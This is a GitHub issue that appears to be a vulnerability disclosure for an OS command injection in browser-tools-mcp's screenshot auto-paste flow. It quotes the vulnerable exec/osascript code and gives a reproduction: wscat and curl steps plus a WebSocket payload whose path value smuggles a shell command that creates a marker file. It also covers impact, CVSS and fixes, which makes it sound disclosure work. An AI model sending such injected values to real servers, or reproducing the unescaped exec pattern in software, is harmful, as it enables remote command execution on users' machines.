New issue

browser-tools-mcp OS Command Injection Vulnerability #232

Open

wing3e opened 3 weeks ago

browser-tools-mcp OS Command Injection Vulnerability

1) CNA / Submission Type

- Submission type: Report a vulnerability (CVE ID request)
- Reporter role: Independent security researcher
- Report date: April 2, 2026

2) Reporter Contact (fill before submit)

- Reporter name: `Winegee`
- Reporter email: `Winegee@zju.edu.cn`
- Permission to share contact with vendor: `Yes`

3) Vendor / Product Identification

- Vendor: AgentDeskAI
- Product: browser-tools-mcp (`browser-tools-server`)
- Repository: https://github.com/AgentDeskAI/browser-tools-mcp
- Reviewed local source path: `datasets_top_1k/AgentDeskAI_browser-tools-mcp`
- Affected component(s):
- `browser-tools-server/browser-connector.ts`

4) Vulnerability Type

- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Short title: OS command injection in screenshot auto-paste flow

5) Affected Versions

- Confirmed affected: 1.2.0 (`browser-tools-server/package.json`)
- Suspected affected range: versions containing the same request/WebSocket-to-`exec` flow
- Fixed version: Not available at time of report (April 2, 2026)

6) Vulnerability Description

An input-handling flaw in browser-tools-mcp allows attacker-controlled path data to be interpolated into a shell command that executes AppleScript via `osascript`. The server accepts untrusted data from HTTP/WebSocket channels, builds an AppleScript string containing attacker-controlled file path content, then executes:

`exec(\`osascript -e '${appleScript}'\`)`

without shell-safe escaping. On macOS deployments where `autoPaste` is enabled and screenshot flow is reachable, this can lead to arbitrary OS command execution.

7) Technical Root Cause

1. `js/command-injection-from-request`
   - Source: `browser-tools-server/browser-connector.ts:352` (`req.body`)
   - Sink: `browser-tools-server/browser-connector.ts:1210`
   - Sink code: `exec(\`osascript -e '${appleScript}'\`, ...)`
2. Reachable input surfaces:
   - `POST /extension-log` merges untrusted `settings` into runtime settings.
   - WebSocket `/extension-ws` accepts `screenshot-data` with untrusted `path` and `autoPaste`.
3. Unescaped interpolation chain:
   - Untrusted `path` -> `targetPath` -> `fullPath`
   - `fullPath` injected into AppleScript string literal
   - AppleScript wrapped into a shell command string passed to `exec`
4. Network exposure condition:
   - service binds on `0.0.0.0` by default (`serverHost`), increasing remote attack surface.

```
// browser-connector.ts
app.post("/extension-log", (req, res) => {
  const { data, settings } = req.body;
  if (settings) {
```

```
    currentSettings = { ...currentSettings, ...settings };
  }
});

// /extension-ws message handling
if (data.type === "screenshot-data" && data.data) {
  callback.resolve({
    data: data.data,
    path: data.path,
    autoPaste: data.autoPaste,
  });
}

// captureScreenshot flow
let targetPath = customPath;
if (!targetPath) {
  targetPath = currentSettings.screenshotPath || getDefaultDownloadsFolder();
}
const fullPath = path.join(targetPath, filename);
const appleScript = `... set imagePath to "${fullPath}" ...`;
exec(`osascript -e '${appleScript}'`, (error, stdout, stderr) => { ... });
```

8) Attack Prerequisites

- Target runs on macOS (AppleScript branch is executed only on macOS).
- `autoPaste` is `true` in screenshot response flow.
- Attacker can reach HTTP and WebSocket endpoints:
- `POST /capture-screenshot`
- `POST /extension-log` and/or WebSocket `/extension-ws`
- No WAF/proxy normalization that blocks quote/metacharacter payloads.

9) Proof of Concept / Reproduction Guidance

The following PoC demonstrates command execution by creating a marker file on the server.

1. Start a WebSocket client to the vulnerable endpoint:

```
wscat -c ws://TARGET_HOST:3025/extension-ws
```

2. In another terminal, trigger screenshot flow (this creates pending callback):

```
curl -i -X POST http://TARGET_HOST:3025/capture-screenshot \
  -H 'Content-Type: application/json' \
  -d '{}'
```

3. Immediately send crafted screenshot-data over WebSocket (step 1 session):

```
{
  "type": "screenshot-data",
  "data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGNgYAAAAAMAASsJTYQAAAAASU
  "path": "/tmp/mcp-poc';touch /tmp/agentdesk_cmdinj_poc;#",
  "autoPaste": true
}
```

4. Verify command execution:

```
ls -l /tmp/agentdesk_cmdinj_poc
```

Expected result:

- The marker file `/tmp/agentdesk_cmdinj_poc` exists.
- Server logs show `osascript` execution path was reached.

10) Security Impact

- Confidentiality: High (attacker can execute local commands and read sensitive files based on process privileges)
- Integrity: High (attacker can alter files/configuration)
- Availability: High (attacker can terminate services or consume resources)
- Scope: Unchanged

11) CVSS v3.1 Suggestion

- Suggested vector (network-exposed, no auth): `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
- Suggested base score: 9.8 (Critical)
- If deployment restricts endpoint access to trusted local channels, `AV/PR` may be lower.

12) Workarounds / Mitigations

- Disable auto-paste feature in production.
- Bind service to localhost only (`SERVER_HOST=127.0.0.1`) when possible.
- Strictly validate and normalize any path received from external channels.
- Reject single quote (`'`) and shell metacharacters in path-related inputs.
- Add authentication/authorization for both HTTP and WebSocket interfaces.

13) Recommended Fix

- Replace `exec` with `spawn` / `execFile` and pass arguments without shell interpolation.

- Avoid wrapping dynamic AppleScript content in shell-quoted command strings.
- Escape/encode untrusted values before embedding into AppleScript source.
- Require correlation (`requestId`) for screenshot responses and reject unsolicited WebSocket payloads.
- Add regression tests for quote/metacharacter payloads in `path` and `settings`.

14) References

- Repository: https://github.com/AgentDeskAI/browser-tools-mcp
- Reviewed source file: `browser-tools-server/browser-connector.ts`
- CWE-78: https://cwe.mitre.org/data/definitions/78.html

15) Credits

- Discoverer: `Winegee`
- Discovery method: Static analysis (CodeQL) plus repository source-code audit

16) Additional Notes for Form Mapping

- Issue status at report time: source-code confirmed in the local dataset.
- PoC is deterministic under listed preconditions (macOS + autoPaste + reachable endpoints).
- Version-range accuracy should be finalized by maintainer release history before public disclosure.

Metadata

Assignees

No one assigned

Labels

No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants